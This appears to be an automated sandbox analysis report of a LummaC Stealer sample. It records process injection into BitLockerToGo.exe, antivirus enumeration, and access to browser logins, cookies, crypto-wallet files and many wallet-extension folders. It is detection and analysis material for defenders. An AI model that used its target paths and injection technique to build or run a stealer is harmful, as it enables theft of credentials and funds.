Source: BitLockerToGo.exe, 00000003.00000003.2125440500.0000000004D07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696508427
Source: BitLockerToGo.exe, 00000003.00000003.2125440500.0000000004D07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696508427j
Source: BitLockerToGo.exe, 00000003.00000003.2125440500.0000000004D07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696508427x
Source: BitLockerToGo.exe, 00000003.00000003.2125440500.0000000004D07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696508427
Source: BitLockerToGo.exe, 00000003.00000003.2125440500.0000000004D07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696508427]
Source: BitLockerToGo.exe, 00000003.00000003.2125440500.0000000004D07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696508427
Source: BitLockerToGo.exe, 00000003.00000003.2125440500.0000000004D07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696508427t
Source: BitLockerToGo.exe, 00000003.00000003.2125440500.0000000004D07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696508427

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

API call chain: ExitProcess graph end node

graph_3-22755

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_0050A8C0 LdrInitializeThunk,

3_2_0050A8C0

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\External2.4.exe1.exe

Memory allocated: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 4C0000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\External2.4.exe1.exe

Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 4C0000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\External2.4.exe1.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 276008	Jump to behavior
Source: C:\Users\user\Desktop\External2.4.exe1.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 4C0000	Jump to behavior
Source: C:\Users\user\Desktop\External2.4.exe1.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 4C1000	Jump to behavior
Source: C:\Users\user\Desktop\External2.4.exe1.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 50F000	Jump to behavior
Source: C:\Users\user\Desktop\External2.4.exe1.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 512000	Jump to behavior
Source: C:\Users\user\Desktop\External2.4.exe1.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 51F000	Jump to behavior

Source: C:\Users\user\Desktop\External2.4.exe1.exe

Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"

Jump to behavior

Source: C:\Users\user\Desktop\External2.4.exe1.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\External2.4.exe1.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: BitLockerToGo.exe, 00000003.00000003.2255370273.0000000002A17000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2255447074.00000000029BE000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2275488270.00000000029BF000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 6508, type: MEMORYSTR
Source: Yara match	File source: 0.3.External2.4.exe1.exe.9fc2000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.External2.4.exe1.exe.9f0e000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.External2.4.exe1.exe.9eb4000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.BitLockerToGo.exe.4c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.External2.4.exe1.exe.9f0e000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.External2.4.exe1.exe.9f68000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.External2.4.exe1.exe.9f68000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.External2.4.exe1.exe.9f0e000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.External2.4.exe1.exe.9f0e000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.External2.4.exe1.exe.9f68000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.External2.4.exe1.exe.9f68000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1740451974.0000000009F68000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1740451974.0000000009F0E000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1935408641.0000000009FC2000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1935408641.0000000009F68000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1935408641.0000000009F0E000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Found many strings related to Crypto-Wallets (likely being stolen)

Source: BitLockerToGo.exe, 00000003.00000003.2192573714.0000000002A02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: BitLockerToGo.exe, 00000003.00000003.2192573714.0000000002A02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: BitLockerToGo.exe, 00000003.00000003.2125667240.0000000002A49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: BitLockerToGo.exe, 00000003.00000003.2192292795.00000000029B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: BitLockerToGo.exe, 00000003.00000003.2192292795.00000000029B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: BitLockerToGo.exe, 00000003.00000003.2192573714.0000000002A02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: BitLockerToGo.exe, 00000003.00000003.2192292795.00000000029B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: BitLockerToGo.exe, 00000003.00000003.2192234962.00000000029FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: BitLockerToGo.exe, 00000003.00000003.2192573714.0000000002A02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\logins.json	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\cert9.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\prefs.js	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
